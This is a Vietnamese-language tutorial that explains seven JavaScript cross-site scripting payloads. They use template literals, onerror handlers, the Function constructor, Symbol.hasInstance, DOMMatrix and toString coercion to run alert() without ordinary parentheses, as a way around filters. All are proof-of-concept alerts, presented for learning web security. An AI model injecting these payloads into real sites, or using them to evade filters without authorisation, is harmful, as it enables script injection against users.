1. alert`1337`
=> Template Literals (là chuỗi được bao bởi `` thay vì cặp ngoặc kép ngoặc
đơn thông thường) có khả năng thực thi script ngay trong dấu backtick, xem
thêm tại:
Here
2. throw onerror=alert,1337
=> Thông thường đầu vào của throw là string, nhưng chúng ta cũng có thể đưa cả object vào như ví dụ này. Đầu tiên gán function alert cho handler onerror (tương đương gán cho window.onerror=alert), những lần throw sau đó do chạy bị lỗi uncaught, nên truyền phần tử cuối lượt throw đó vào function đã gán (alert ở ví dụ này). Đây là bản cải tiến của onerror=alert;throw'XSS'.
Lưu ý: nếu trigger error thông qua console để test sẽ không được, browser đã chặn một phần việc này. Hãy test thông qua gán script vào file html hoặc sử dụng lệnh sau:
setTimeout(function() { notThere(); }, 0);
3. [].sort.call`${alert}1337` = Array.prototype.sort.call`${alert}1337`
Calling sort() on non-array objects (hàm Array.prototype.sort.call) xem
tại
Here (Ở cuối)
function x(){
alert(arguments[0]);
alert(arguments[1]);
}
x`x${'ale'+'rt(1)'}x`
Sử dụng hàm x như trên trong link portswigger với `${alert}1337`
VD với bộ test của docs sort ở link trên: console.log(Array.prototype.sort.call(arrayLike, alert('Chtholly'));
4. Function`x${'alert\x281337\x29'}x```
Đọc về constructor Function tại
Here
Cặp `` đầu là để viết nội dung function, cặp `` thứ 2 là nội dung của arguments truyền vào khi chạy function, giống như alert`1337` nhưng alert thay vì có sẵn thì khi dùng mới tạo
5. 'alert\x281337\x29'instanceof{[Symbol['hasInstance']]:eval}
Đọc về instanceof tại
Here
Symbol.hasInstance = Symbol['hasInstance'] đọc tại Here
Theo syntax, trước instanceof là object, sau là constructor
6. x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
Chuyển x sang dạng string sẽ thu được dạng matrix(a,b,c,d,e,f)
7. x=x=>{throw/**/onerror=alert,1337},toString=x,window+''
Khai báo function x (xem lại XSS Introduction để hiểu rõ hơn), gán
toString bằng x, window+'' sẽ thực thi toString(window) và chạy alert